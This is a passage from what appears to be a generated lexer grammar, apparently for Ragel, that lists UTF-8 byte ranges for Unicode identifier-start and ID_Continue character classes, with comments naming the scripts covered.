0xAA..0xFF  #L&  [25] MATHEMATICAL SANS-SERIF BOLD IT...\n      | 0xF0 0x9D 0x9F 0x00..0x82  #\n      | 0xF0 0x9D 0x9F 0x84..0x8B  #L&   [8] MATHEMATICAL SANS-SERIF BOLD IT...\n      | 0xF0 0x9E 0xA0 0x80..0xFF        #Lo [197] MENDE KIKAKUI SYLLABLE M0...\n      | 0xF0 0x9E 0xA1..0xA2 0x00..0xFF  #\n      | 0xF0 0x9E 0xA3 0x00..0x84        #\n      | 0xF0 0x9E 0xA4 0x80..0xFF  #L&  [68] ADLAM CAPITAL LETTER ALIF..ADLA...\n      | 0xF0 0x9E 0xA5 0x00..0x83  #\n      | 0xF0 0x9E 0xB8 0x80..0x83  #Lo   [4] ARABIC MATHEMATICAL ALEF..ARABI...\n      | 0xF0 0x9E 0xB8 0x85..0x9F  #Lo  [27] ARABIC MATHEMATICAL WAW..ARABIC...\n      | 0xF0 0x9E 0xB8 0xA1..0xA2  #Lo   [2] ARABIC MATHEMATICAL INITIAL BEH...\n      | 0xF0 0x9E 0xB8 0xA4     #Lo       ARABIC MATHEMATICAL INITIAL HEH\n      | 0xF0 0x9E 0xB8 0xA7     #Lo       ARABIC MATHEMATICAL INITIAL HAH\n      | 0xF0 0x9E 0xB8 0xA9..0xB2  #Lo  [10] ARABIC MATHEMATICAL INITIAL YEH...\n      | 0xF0 0x9E 0xB8 0xB4..0xB7  #Lo   [4] ARABIC MATHEMATICAL INITIAL SHE...\n      | 0xF0 0x9E 0xB8 0xB9     #Lo       ARABIC MATHEMATICAL INITIAL DAD\n      | 0xF0 0x9E 0xB8 0xBB     #Lo       ARABIC MATHEMATICAL INITIAL GHAIN\n      | 0xF0 0x9E 0xB9 0x82     #Lo       ARABIC MATHEMATICAL TAILED JEEM\n      | 0xF0 0x9E 0xB9 0x87     #Lo       ARABIC MATHEMATICAL TAILED HAH\n      | 0xF0 0x9E 0xB9 0x89     #Lo       ARABIC MATHEMATICAL TAILED YEH\n      | 0xF0 0x9E 0xB9 0x8B     #Lo       ARABIC MATHEMATICAL TAILED LAM\n      | 0xF0 0x9E 0xB9 0x8D..0x8F  #Lo   [3] ARABIC MATHEMATICAL TAILED NOON...\n      | 0xF0 0x9E 0xB9 0x91..0x92  #Lo   [2] ARABIC MATHEMATICAL TAILED SAD....\n      | 0xF0 0x9E 0xB9 0x94     #Lo       ARABIC MATHEMATICAL TAILED SHEEN\n      | 0xF0 0x9E 0xB9 0x97     #Lo       ARABIC MATHEMATICAL TAILED KHAH\n      | 0xF0 0x9E 0xB9 0x99     #Lo       ARABIC MATHEMATICAL TAILED DAD\n      | 0xF0 0x9E 0xB9 0x9B     #Lo       ARABIC MATHEMATICAL TAILED GHAIN\n      | 0xF0 0x9E 0xB9 0x9D     #Lo       ARABIC MATHEMATICAL TAILED DOTLESS...\n      | 0xF0 0x9E 0xB9 0x9F     #Lo       ARABIC MATHEMATICAL TAILED DOTLESS...\n      | 0xF0 0x9E 0xB9 0xA1..0xA2  #Lo   [2] ARABIC MATHEMATICAL STRETCHED B...\n      | 0xF0 0x9E 0xB9 0xA4     #Lo       ARABIC MATHEMATICAL STRETCHED HEH\n      | 0xF0 0x9E 0xB9 0xA7..0xAA  #Lo   [4] ARABIC MATHEMATICAL STRETCHED H...\n      | 0xF0 0x9E 0xB9 0xAC..0xB2  #Lo   [7] ARABIC MATHEMATICAL STRETCHED M...\n      | 0xF0 0x9E 0xB9 0xB4..0xB7  #Lo   [4] ARABIC MATHEMATICAL STRETCHED S...\n      | 0xF0 0x9E 0xB9 0xB9..0xBC  #Lo   [4] ARABIC MATHEMATICAL STRETCHED D...\n      | 0xF0 0x9E 0xB9 0xBE     #Lo       ARABIC MATHEMATICAL STRETCHED DOTL...\n      | 0xF0 0x9E 0xBA 0x80..0x89  #Lo  [10] ARABIC MATHEMATICAL LOOPED ALEF...\n      | 0xF0 0x9E 0xBA 0x8B..0x9B  #Lo  [17] ARABIC MATHEMATICAL LOOPED LAM....\n      | 0xF0 0x9E 0xBA 0xA1..0xA3  #Lo   [3] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0x9E 0xBA 0xA5..0xA9  #Lo   [5] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0x9E 0xBA 0xAB..0xBB  #Lo  [17] ARABIC MATHEMATICAL DOUBLE-STRU...\n      | 0xF0 0xA0 0x80 0x80..0xFF              #Lo [42711] CJK UNIFIED IDEOG...\n      | 0xF0 0xA0 0x81..0xFF 0x00..0xFF        #\n      | 0xF0 0xA1..0xA9 0x00..0xFF 0x00..0xFF  #\n      | 0xF0 0xAA 0x00 0x00..0xFF              #\n      | 0xF0 0xAA 0x01..0x9A 0x00..0xFF        #\n      | 0xF0 0xAA 0x9B 0x00..0x96              #\n      | 0xF0 0xAA 0x9C 0x80..0xFF        #Lo [4149] CJK UNIFIED IDEOGRAPH-2A...\n      | 0xF0 0xAA 0x9D..0xFF 0x00..0xFF  #\n      | 0xF0 0xAB 0x00 0x00..0xFF        #\n      | 0xF0 0xAB 0x01..0x9B 0x00..0xFF  #\n      | 0xF0 0xAB 0x9C 0x00..0xB4        #\n      | 0xF0 0xAB 0x9D 0x80..0xFF        #Lo [222] CJK UNIFIED IDEOGRAPH-2B7...\n      | 0xF0 0xAB 0x9E..0x9F 0x00..0xFF  #\n      | 0xF0 0xAB 0xA0 0x00..0x9D        #\n      | 0xF0 0xAB 0xA0 0xA0..0xFF        #Lo [5762] CJK UNIFIED IDEOGRAPH-2B...\n      | 0xF0 0xAB 0xA1..0xFF 0x00..0xFF  #\n      | 0xF0 0xAC 0x00 0x00..0xFF        #\n      | 0xF0 0xAC 0x01..0xB9 0x00..0xFF  #\n      | 0xF0 0xAC 0xBA 0x00..0xA1        #\n      | 0xF0 0xAF 0xA0 0x80..0xFF        #Lo [542] CJK COMPATIBILITY IDEOGRA...\n      | 0xF0 0xAF 0xA1..0xA7 0x00..0xFF  #\n      | 0xF0 0xAF 0xA8 0x00..0x9D        #\n      ;\n\n    ID_Continue = \n        0x30..0x39              #Nd  [10] DIGIT ZERO..DIGIT NINE\n      | 0x41..0x5A              #L&  [26] LATIN CAPITAL LETTER A..LATIN CAPI...\n      | 0x5F                    #Pc       LOW LINE\n      | 0x61..0x7A              #L&  [26] LATIN SMALL LETTER A..LATIN SMALL ...\n      | 0xC2 0xAA               #Lo       FEMININE ORDINAL INDICATOR\n      | 0xC2 0xB5               #L&       MICRO SIGN\n      | 0xC2 0xB7               #Po       MIDDLE DOT\n      | 0xC2 0xBA               #Lo       MASCULINE ORDINAL INDICATOR\n      | 0xC3 0x80..0x96         #L&  [23] LATIN CAPITAL LETTER A WITH GRAVE....\n      | 0xC3 0x98..0xB6         #L&  [31] LATIN CAPITAL LETTER O WITH STROKE...\n      | 0xC3 0xB8..0xFF         #L& [195] LATIN SMALL LETTER O WITH STROKE.....\n      | 0xC4..0xC5 0x00..0xFF   #\n      | 0xC6 0x00..0xBA         #\n      | 0xC6 0xBB               #Lo       LATIN LETTER TWO WITH STROKE\n      | 0xC6 0xBC..0xBF         #L&   [4] LATIN CAPITAL LETTER TONE FIVE..LA...\n      | 0xC7 0x80..0x83         #Lo   [4] LATIN LETTER DENTAL CLICK..LATIN L...\n      | 0xC7 0x84..0xFF         #L& [208] LATIN CAPITAL LETTER DZ WITH CARON...\n      | 0xC8..0xC9 0x00..0xFF   #\n      | 0xCA 0x00..0x93         #\n      | 0xCA 0x94               #Lo       LATIN LETTER GLOTTAL STOP\n      | 0xCA 0x95..0xAF         #L&  [27] LATIN LETTER PHARYNGEAL VOICED FRI...\n      | 0xCA 0xB0..0xFF         #Lm  [18] MODIFIER LETTER SMALL H..MODIFIER ...\n      | 0xCB 0x00..0x81         #\n      | 0xCB 0x86..0x91         #Lm  [12] MODIFIER LETTER CIRCUMFLEX ACCENT....\n      | 0xCB 0xA0..0xA4         #Lm   [5] MODIFIER LETTER SMALL GAMMA..MODIF...\n      | 0xCB 0xAC               #Lm       MODIFIER LETTER VOICING\n      | 0xCB 0xAE               #Lm       MODIFIER LETTER DOUBLE APOSTROPHE\n      | 0xCC 0x80..0xFF         #Mn [112] COMBINING GRAVE ACCENT..COMBINING ...\n      | 0xCD 0x00..0xAF         #\n      | 0xCD 0xB0..0xB3         #L&   [4] GREEK CAPITAL LETTER HETA..GREEK S...\n      | 0xCD 0xB4               #Lm       GREEK NUMERAL SIGN\n      | 0xCD 0xB6..0xB7         #L&   [2] GREEK CAPITAL LETTER PAMPHYLIAN DI...\n      | 0xCD 0xBA               #Lm       GREEK YPOGEGRAMMENI\n      | 0xCD 0xBB..0xBD         #L&   [3] GREEK SMALL REVERSED LUNATE SIGMA ...\n      | 0xCD 0xBF               #L&       GREEK CAPITAL LETTER YOT\n      | 0xCE 0x86               #L&       GREEK CAPITAL LETTER ALPHA WITH TONOS\n      | 0xCE 0x87               #Po       GREEK ANO TELEIA\n      | 0xCE 0x88..0x8A         #L&   [3] GREEK CAPITAL LETTER EPSILON WITH ...\n      | 0xCE 0x8C               #L&       GREEK CAPITAL LETTER OMICRON WITH ...\n      | 0xCE 0x8E..0xA1         #L&  [20] GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xCE 0xA3..0xFF         #L&  [83] GREEK CAPITAL LETTER SIGMA..GREEK ...\n      | 0xCF 0x00..0xB5         #\n      | 0xCF 0xB7..0xFF         #L& [139] GREEK CAPITAL LETTER SHO..CYRILLIC...\n      | 0xD0..0xD1 0x00..0xFF   #\n      | 0xD2 0x00..0x81         #\n      | 0xD2 0x83..0x87         #Mn   [5] COMBINING CYRILLIC TITLO..COMBININ...\n      | 0xD2 0x8A..0xFF         #L& [166] CYRILLIC CAPITAL LETTER SHORT I WI...\n      | 0xD3..0xD3 0x00..0xFF   #\n      | 0xD4 0x00..0xAF         #\n      | 0xD4 0xB1..0xFF         #L&  [38] ARMENIAN CAPITAL LETTER AYB..ARMEN...\n      | 0xD5 0x00..0x96         #\n      | 0xD5 0x99               #Lm       ARMENIAN MODIFIER LETTER LEFT HALF...\n      | 0xD5 0xA1..0xFF         #L&  [39] ARMENIAN SMALL LETTER AYB..ARMENIA...\n      | 0xD6 0x00..0x87         #\n      | 0xD6 0x91..0xBD         #Mn  [45] HEBREW ACCENT ETNAHTA..HEBREW POIN...\n      | 0xD6 0xBF               #Mn       HEBREW POINT RAFE\n      | 0xD7 0x81..0x82         #Mn   [2] HEBREW POINT SHIN DOT..HEBREW POIN...\n      | 0xD7 0x84..0x85         #Mn   [2] HEBREW MARK UPPER DOT..HEBREW MARK...\n      | 0xD7 0x87               #Mn       HEBREW POINT QAMATS QATAN\n      | 0xD7 0x90..0xAA         #Lo  [27] HEBREW LETTER ALEF..HEBREW LETTER TAV\n      | 0xD7 0xB0..0xB2         #Lo   [3] HEBREW LIGATURE YIDDISH DOUBLE VAV...\n      | 0xD8 0x90..0x9A         #Mn  [11] ARABIC SIGN SALLALLAHOU ALAYHE WAS...\n      | 0xD8 0xA0..0xBF         #Lo  [32] ARABIC LETTER KASHMIRI YEH..ARABIC...\n      | 0xD9 0x80               #Lm       ARABIC TATWEEL\n      | 0xD9 0x81..0x8A         #Lo  [10] ARABIC LETTER FEH..ARABIC LETTER YEH\n      | 0xD9 0x8B..0x9F         #Mn  [21] ARABIC FATHATAN..ARABIC WAVY HAMZA...\n      | 0xD9 0xA0..0xA9         #Nd  [10] ARABIC-INDIC DIGIT ZERO..ARABIC-IN...\n      | 0xD9 0xAE..0xAF         #Lo   [2] ARABIC LETTER DOTLESS BEH..ARABIC ...\n      | 0xD9 0xB0               #Mn       ARABIC LETTER SUPERSCRIPT ALEF\n      | 0xD9 0xB1..0xFF         #Lo  [99] ARABIC LETTER ALEF WASLA..ARABIC L...\n      | 0xDA..0xDA 0x00..0xFF   #\n      | 0xDB 0x00..0x93         #\n      | 0xDB 0x95               #Lo       ARABIC LETTER AE\n      | 0xDB 0x96..0x9C         #Mn   [7] ARABIC SMALL HIGH LIGATURE SAD WIT...\n      | 0xDB 0x9F..0xA4         #Mn   [6] ARABIC SMALL HIGH ROUNDED ZERO..AR...\n      | 0xDB 0xA5..0xA6         #Lm   [2] ARABIC SMALL WAW..ARABIC SMALL YEH\n      | 0xDB 0xA7..0xA8         #Mn   [2] ARABIC SMALL HIGH YEH..ARABIC SMAL...\n      | 0xDB 0xAA..0xAD         #Mn   [4] ARABIC EMPTY CENTRE LOW STOP..ARAB...\n      | 0xDB 0xAE..0xAF         #Lo   [2] ARABIC LETTER DAL WITH INVERTED V....\n      | 0xDB 0xB0..0xB9         #Nd  [10] EXTENDED ARABIC-INDIC DIGIT ZERO.....\n      | 0xDB 0xBA..0xBC         #Lo   [3] ARABIC LETTER SHEEN WITH DOT BELOW...\n      | 0xDB 0xBF               #Lo       ARABIC LETTER HEH WITH INVERTED V\n      | 0xDC 0x90               #Lo       SYRIAC LETTER ALAPH\n      | 0xDC 0x91               #Mn       SYRIAC LETTER SUPERSCRIPT ALAPH\n      | 0xDC 0x92..0xAF         #Lo  [30] SYRIAC LETTER BETH..SYRIAC LETTER ...\n      | 0xDC 0xB0..0xFF         #Mn  [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH\n      | 0xDD 0x00..0x8A         #\n      | 0xDD 0x8D..0xFF         #Lo  [89] SYRIAC LETTER SOGDIAN ZHAIN..THAAN...\n      | 0xDE 0x00..0xA5         #\n      | 0xDE 0xA6..0xB0         #Mn  [11] THAANA ABAFILI..THAANA SUKUN\n      | 0xDE 0xB1               #Lo       THAANA LETTER NAA\n      | 0xDF 0x80..0x89         #Nd  [10] NKO DIGIT ZERO..NKO DIGIT NINE\n      | 0xDF 0x8A..0xAA         #Lo  [33] NKO LETTER A..NKO LETTER JONA RA\n      | 0xDF 0xAB..0xB3         #Mn   [9] NKO COMBINING SHORT HIGH TONE..NKO...\n      | 0xDF 0xB4..0xB5         #Lm   [2] NKO HIGH TONE APOSTROPHE..NKO LOW ...\n      | 0xDF 0xBA               #Lm       NKO LAJANYALAN\n      | 0xE0 0xA0 0x80..0x95    #Lo  [22] SAMARITAN LETTER ALAF..SAMARITAN L...\n      | 0xE0 0xA0 0x96..0x99    #Mn   [4] SAMARITAN MARK IN..SAMARITAN MARK ...\n      | 0xE0 0xA0 0x9A          #Lm       SAMARITAN MODIFIER LETTER EPENTHET...\n      | 0xE0 0xA0 0x9B..0xA3    #Mn   [9] SAMARITAN MARK EPENTHETIC YUT..SAM...\n      | 0xE0 0xA0 0xA4          #Lm       SAMARITAN MODIFIER LETTER SHORT A\n      | 0xE0 0xA0 0xA5..0xA7    #Mn   [3] SAMARITAN VOWEL SIGN SHORT A..SAMA...\n      | 0xE0 0xA0 0xA8          #Lm       SAMARITAN MODIFIER LETTER I\n      | 0xE0 0xA0 0xA9..0xAD    #Mn   [5] SAMARITAN VOWEL SIGN LONG I..SAMAR...\n      | 0xE0 0xA1 0x80..0x98    #Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETT...\n      | 0xE0 0xA1 0x99..0x9B    #Mn   [3] MANDAIC AFFRICATION MARK..MANDAIC ...\n      | 0xE0 0xA2 0xA0..0xB4    #Lo  [21] ARABIC LETTER BEH WITH SMALL V BEL...\n      | 0xE0 0xA2 0xB6..0xBD    #Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ...\n      | 0xE0 0xA3 0x94..0xA1    #Mn  [14] ARABIC SMALL HIGH WORD AR-RUB..ARA...\n      | 0xE0 0xA3 0xA3..0xFF    #Mn  [32] ARABIC TURNED DAMMA BELOW..DEVANAG...\n      | 0xE0 0xA4 0x00..0x82    #\n      | 0xE0 0xA4 0x83          #Mc       DEVANAGARI SIGN VISARGA\n      | 0xE0 0xA4 0x84..0xB9    #Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAG...\n      | 0xE0 0xA4 0xBA          #Mn       DEVANAGARI VOWEL SIGN OE\n      | 0xE0 0xA4 0xBB          #Mc       DEVANAGARI VOWEL SIGN OOE\n      | 0xE0 0xA4 0xBC          #Mn       DEVANAGARI SIGN NUKTA\n      | 0xE0 0xA4 0xBD          #Lo       DEVANAGARI SIGN AVAGRAHA\n      | 0xE0 0xA4 0xBE..0xFF    #Mc   [3] DEVANAGARI VOWEL SIGN AA..DEVANAGA...\n      | 0xE0 0xA5 0x00..0x80    #\n      | 0xE0 0xA5 0x81..0x88    #Mn   [8] DEVANAGARI VOWEL SIGN U..DEVANAGAR...\n      | 0xE0 0xA5 0x89..0x8C    #Mc   [4] DEVANAGARI VOWEL SIGN CANDRA O..DE...\n      | 0xE0 0xA5 0x8D          #Mn       DEVANAGARI SIGN VIRAMA\n      | 0xE0 0xA5 0x8E..0x8F    #Mc   [2] DEVANAGARI VOWEL SIGN PRISHTHAMATR...\n      | 0xE0 0xA5 0x90          #Lo       DEVANAGARI OM\n      | 0xE0 0xA5 0x91..0x97    #Mn   [7] DEVANAGARI STRESS SIGN UDATTA..DEV...\n      | 0xE0 0xA5 0x98..0xA1    #Lo  [10] DEVANAGARI LETTER QA..DEVANAGARI L...\n      | 0xE0 0xA5 0xA2..0xA3    #Mn   [2] DEVANAGARI VOWEL SIGN VOCALIC L..D...\n      | 0xE0 0xA5 0xA6..0xAF    #Nd  [10] DEVANAGARI DIGIT ZERO..DEVANAGARI ...\n      | 0xE0 0xA5 0xB1          #Lm       DEVANAGARI SIGN HIGH SPACING DOT\n      | 0xE0 0xA5 0xB2..0xFF    #Lo  [15] DEVANAGARI LETTER CANDRA A..BENGAL...\n      | 0xE0 0xA6 0x00..0x80    #\n      | 0xE0 0xA6 0x81          #Mn       BENGALI SIGN CANDRABINDU\n      | 0xE0 0xA6 0x82..0x83    #Mc   [2] BENGALI SIGN ANUSVARA..BENGALI SIG...\n      | 0xE0 0xA6 0x85..0x8C    #Lo   [8] BENGALI LETTER A..BENGALI LETTER V...\n      | 0xE0 0xA6 0x8F..0x90    #Lo   [2] BENGALI LETTER E..BENGALI LETTER AI\n      | 0xE0 0xA6 0x93..0xA8    #Lo  [22] BENGALI LETTER O..BENGALI LETTER NA\n      | 0xE0 0xA6 0xAA..0xB0    #Lo   [7] BENGALI LETTER PA..BENGALI LETTER RA\n      | 0xE0 0xA6 0xB2          #Lo       BENGALI LETTER LA\n      | 0xE0 0xA6 0xB6..0xB9    #Lo   [4] BENGALI LETTER SHA..BENGALI LETTER HA\n      | 0xE0 0xA6 0xBC          #Mn       BENGALI SIGN NUKTA\n      | 0xE0 0xA6 0xBD          #Lo       BENGALI SIGN AVAGRAHA\n      | 0xE0 0xA6 0xBE..0xFF    #Mc   [3] BENGALI VOWEL SIGN AA..BENGALI VOW...\n      | 0xE0 0xA7 0x00..0x80    #\n      | 0xE0 0xA7 0x81..0x84    #Mn   [4] BENGALI VOWEL SIGN U..BENGALI VOWE...\n      | 0xE0 0xA7 0x87..0x88    #Mc   [2] BENGALI VOWEL SIGN E..BENGALI VOWE...\n      | 0xE0 0xA7 0x8B..0x8C    #Mc   [2] BENGALI VOWEL SIGN O..BENGALI VOWE...\n      | 0xE0 0xA7 0x8D          #Mn       BENGALI SIGN VIRAMA\n      | 0xE0 0xA7 0x8E          #Lo       BENGALI LETTER KHANDA TA\n      | 0xE0 0xA7 0x97          #Mc       BENGALI AU LENGTH MARK\n      | 0xE0 0xA7 0x9C..0x9D    #Lo   [2] BENGALI LETTER RRA..BENGALI LETTER...\n      | 0xE0 0xA7 0x9F..0xA1    #Lo   [3] BENGALI LETTER YYA..BENGALI LETTER...\n      | 0xE0 0xA7 0xA2..0xA3    #Mn   [2] BENGALI VOWEL SIGN VOCALIC L..BENG...\n      | 0xE0 0xA7 0xA6..0xAF    #Nd  [10] BENGALI DIGIT ZERO..BENGALI DIGIT ...\n      | 0xE0 0xA7 0xB0..0xB1    #Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAG...\n      | 0xE0 0xA8 0x81..0x82    #Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI...\n      | 0xE0 0xA8 0x83          #Mc       GURMUKHI SIGN VISARGA\n      | 0xE0 0xA8 0x85..0x8A    #Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU\n      | 0xE0 0xA8 0x8F..0x90    #Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTE...\n      | 0xE0 0xA8 0x93..0xA8    #Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xAA..0xB0    #Lo   [7] GURMUKHI LETTER PA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB2..0xB3    #Lo   [2] GURMUKHI LETTER LA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB5..0xB6    #Lo   [2] GURMUKHI LETTER VA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB8..0xB9    #Lo   [2] GURMUKHI LETTER SA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xBC          #Mn       GURMUKHI SIGN NUKTA\n      | 0xE0 0xA8 0xBE..0xFF    #Mc   [3] GURMUKHI VOWEL SIGN AA..GURMUKHI V...\n      | 0xE0 0xA9 0x00..0x80    #\n      | 0xE0 0xA9 0x81..0x82    #Mn   [2] GURMUKHI VOWEL SIGN U..GURMUKHI VO...\n      | 0xE0 0xA9 0x87..0x88    #Mn   [2] GURMUKHI VOWEL SIGN EE..GURMUKHI V...\n      | 0xE0 0xA9 0x8B..0x8D    #Mn   [3] GURMUKHI VOWEL SIGN OO..GURMUKHI S...\n      | 0xE0 0xA9 0x91          #Mn       GURMUKHI SIGN UDAAT\n      | 0xE0 0xA9 0x99..0x9C    #Lo   [4] GURMUKHI LETTER KHHA..GURMUKHI LET...\n      | 0xE0 0xA9 0x9E          #Lo       GURMUKHI LETTER FA\n      | 0xE0 0xA9 0xA6..0xAF    #Nd  [10] GURMUKHI DIGIT ZERO..GURMUKHI DIGI...\n      | 0xE0 0xA9 0xB0..0xB1    #Mn   [2] GURMUKHI TIPPI..GURMUKHI ADDAK\n      | 0xE0 0xA9 0xB2..0xB4    #Lo   [3] GURMUKHI IRI..GURMUKHI EK ONKAR\n      | 0xE0 0xA9 0xB5          #Mn       GURMUKHI SIGN YAKASH\n      | 0xE0 0xAA 0x81..0x82    #Mn   [2] GUJARATI SIGN CANDRABINDU..GUJARAT...\n      | 0xE0 0xAA 0x83          #Mc       GUJARATI SIGN VISARGA\n      | 0xE0 0xAA 0x85..0x8D    #Lo   [9] GUJARATI LETTER A..GUJARATI VOWEL ...\n      | 0xE0 0xAA 0x8F..0x91    #Lo   [3] GUJARATI LETTER E..GUJARATI VOWEL ...\n      | 0xE0 0xAA 0x93..0xA8    #Lo  [22] GUJARATI LETTER O..GUJARATI LETTER NA\n      | 0xE0 0xAA 0xAA..0xB0    #Lo   [7] GUJARATI LETTER PA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xB2..0xB3    #Lo   [2] GUJARATI LETTER LA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xB5..0xB9    #Lo   [5] GUJARATI LETTER VA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xBC          #Mn       GUJARATI SIGN NUKTA\n      | 0xE0 0xAA 0xBD          #Lo       GUJARATI SIGN AVAGRAHA\n      | 0xE0 0xAA 0xBE..0xFF    #Mc   [3] GUJARATI VOWEL SIGN AA..GUJARATI V...\n      | 0xE0 0xAB 0x00..0x80    #\n      | 0xE0 0xAB 0x81..0x85    #Mn   [5] GUJARATI VOWEL SIGN U..GUJARATI VO...\n      | 0xE0 0xAB 0x87..0x88    #Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VO...\n      | 0xE0 0xAB 0x89          #Mc       GUJARATI VOWEL SIGN CANDRA O\n      | 0xE0 0xAB 0x8B..0x8C    #Mc   [2] GUJARATI VOWEL SIGN O..GUJARATI VO...\n      | 0xE0 0xAB 0x8D          #Mn       GUJARATI SIGN VIRAMA\n      | 0xE0 0xAB 0x90          #Lo       GUJARATI OM\n      | 0xE0 0xAB 0xA0..0xA1    #Lo   [2] GUJARATI LETTER VOCALIC RR..GUJARA...\n      | 0xE0 0xAB 0xA2..0xA3    #Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJ...\n      | 0xE0 0xAB 0xA6..0xAF    #Nd  [10] GUJARATI DIGIT ZERO..GUJARATI DIGI...\n      | 0xE0 0xAB 0xB9          #Lo       GUJARATI LETTER ZHA\n      | 0xE0 0xAC 0x81          #Mn       ORIYA SIGN CANDRABINDU\n      | 0xE0 0xAC 0x82..0x83    #Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VI...\n      | 0xE0 0xAC 0x85..0x8C    #Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCAL...\n      | 0xE0 0xAC 0x8F..0x90    #Lo   [2] ORIYA LETTER E..ORIYA LETTER AI\n      | 0xE0 0xAC 0x93..0xA8    #Lo  [22] ORIYA LETTER O..ORIYA LETTER NA\n      | 0xE0 0xAC 0xAA..0xB0    #Lo   [7] ORIYA LETTER PA..ORIYA LETTER RA\n      | 0xE0 0xAC 0xB2..0xB3    #Lo   [2] ORIYA LETTER LA..ORIYA LETTER LLA\n      | 0xE0 0xAC 0xB5..0xB9    #Lo   [5] ORIYA LETTER VA..ORIYA LETTER HA\n      | 0xE0 0xAC 0xBC          #Mn       ORIYA SIGN NUKTA\n      | 0xE0 0xAC 0xBD          #Lo       ORIYA SIGN AVAGRAHA\n      | 0xE0 0xAC 0xBE          #Mc       ORIYA VOWEL SIGN AA\n      | 0xE0 0xAC 0xBF          #Mn       ORIYA VOWEL SIGN I\n      | 0xE0 0xAD 0x80          #Mc       ORIYA VOWEL SIGN II\n      | 0xE0 0xAD 0x81..0x84    #Mn   [4] ORIYA VOWEL SIGN U..ORIYA VOWEL SI...\n      | 0xE0 0xAD 0x87..0x88    #Mc   [2] ORIYA VOWEL SIGN E..ORIYA VOWEL SI...\n      | 0xE0 0xAD 0x8B..0x8C    #Mc   [2] ORIYA VOWEL SIGN O..ORIYA VOWEL SI...\n      | 0xE0 0xAD 0x8D          #Mn       ORIYA SIGN VIRAMA\n      | 0xE0 0xAD 0x96          #Mn       ORIYA AI LENGTH MARK\n      | 0xE0 0xAD 0x97          #Mc       ORIYA AU LENGTH MARK\n      | 0xE0 0xAD 0x9C..0x9D    #Lo   [2] ORIYA LETTER RRA..ORIYA LETTER RHA\n      | 0xE0 0xAD 0x9F..0xA1    #Lo   [3] ORIYA LETTER YYA..ORIYA LETTER VOC...\n      | 0xE0 0xAD 0xA2..0xA3    #Mn   [2] ORIYA VOWEL SIGN VOCALIC L..ORIYA ...\n      | 0xE0 0xAD 0xA6..0xAF    #Nd  [10] ORIYA DIGIT ZERO..ORIYA DIGIT NINE\n      | 0xE0 0xAD 0xB1          #Lo       ORIYA LETTER WA\n      | 0xE0 0xAE 0x82          #Mn       TAMIL SIGN ANUSVARA\n      | 0xE0 0xAE 0x83          #Lo       TAMIL SIGN VISARGA\n      | 0xE0 0xAE 0x85..0x8A    #Lo   [6] TAMIL LETTER A..TAMIL LETTER UU\n      | 0xE0 0xAE 0x8E..0x90    #Lo   [3] TAMIL LETTER E..TAMIL LETTER AI\n      | 0xE0 0xAE 0x92..0x95    #Lo   [4] TAMIL LETTER O..TAMIL LETTER KA\n      | 0xE0 0xAE 0x99..0x9A    #Lo   [2] TAMIL LETTER NGA..TAMIL LETTER CA\n      | 0xE0 0xAE 0x9C          #Lo       TAMIL LETTER JA\n      | 0xE0 0xAE 0x9E..0x9F    #Lo   [2] TAMIL LETTER NYA..TAMIL LETTER TTA\n      | 0xE0 0xAE 0xA3..0xA4    #Lo   [2] TAMIL LETTER NNA..TAMIL LETTER TA\n      | 0xE0 0xAE 0xA8..0xAA    #Lo   [3] TAMIL LETTER NA..TAMIL LETTER PA\n      | 0xE0 0xAE 0xAE..0xB9    #Lo  [12] TAMIL LETTER MA..TAMIL LETTER HA\n      | 0xE0 0xAE 0xBE..0xBF    #Mc   [2] TAMIL VOWEL SIGN AA..TAMIL VOWEL S...\n      | 0xE0 0xAF 0x80          #Mn       TAMIL VOWEL SIGN II\n      | 0xE0 0xAF 0x81..0x82    #Mc   [2] TAMIL VOWEL SIGN U..TAMIL VOWEL SI...\n      | 0xE0 0xAF 0x86..0x88    #Mc   [3] TAMIL VOWEL SIGN E..TAMIL VOWEL SI...\n      | 0xE0 0xAF 0x8A..0x8C    #Mc   [3] TAMIL VOWEL SIGN O..TAMIL VOWEL SI...\n      | 0xE0 0xAF 0x8D          #Mn       TAMIL SIGN VIRAMA\n      | 0xE0 0xAF 0x90          #Lo       TAMIL OM\n      | 0xE0 0xAF 0x97          #Mc       TAMIL AU LENGTH MARK\n      | 0xE0 0xAF 0xA6..0xAF    #Nd  [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE\n      | 0xE0 0xB0 0x80          #Mn       TELUGU SIGN COMBINING CANDRABINDU ...\n      | 0xE0 0xB0 0x81..0x83    #Mc   [3] TELUGU SIGN CANDRABINDU..TELUGU SI...\n      | 0xE0 0xB0 0x85..0x8C    #Lo   [8] TELUGU LETTER A..TELUGU LETTER VOC...\n      | 0xE0 0xB0 0x8E..0x90    #Lo   [3] TELUGU LETTER E..TELUGU LETTER AI\n      | 0xE0 0xB0 0x92..0xA8    #Lo  [23] TELUGU LETTER O..TELUGU LETTER NA\n      | 0xE0 0xB0 0xAA..0xB9    #Lo  [16] TELUGU LETTER PA..TELUGU LETTER HA\n      | 0xE0 0xB0 0xBD          #Lo       TELUGU SIGN AVAGRAHA\n      | 0xE0 0xB0 0xBE..0xFF    #Mn   [3] TELUGU VOWEL SIGN AA..TELUGU VOWEL...\n      | 0xE0 0xB1 0x00..0x80    #\n      | 0xE0 0xB1 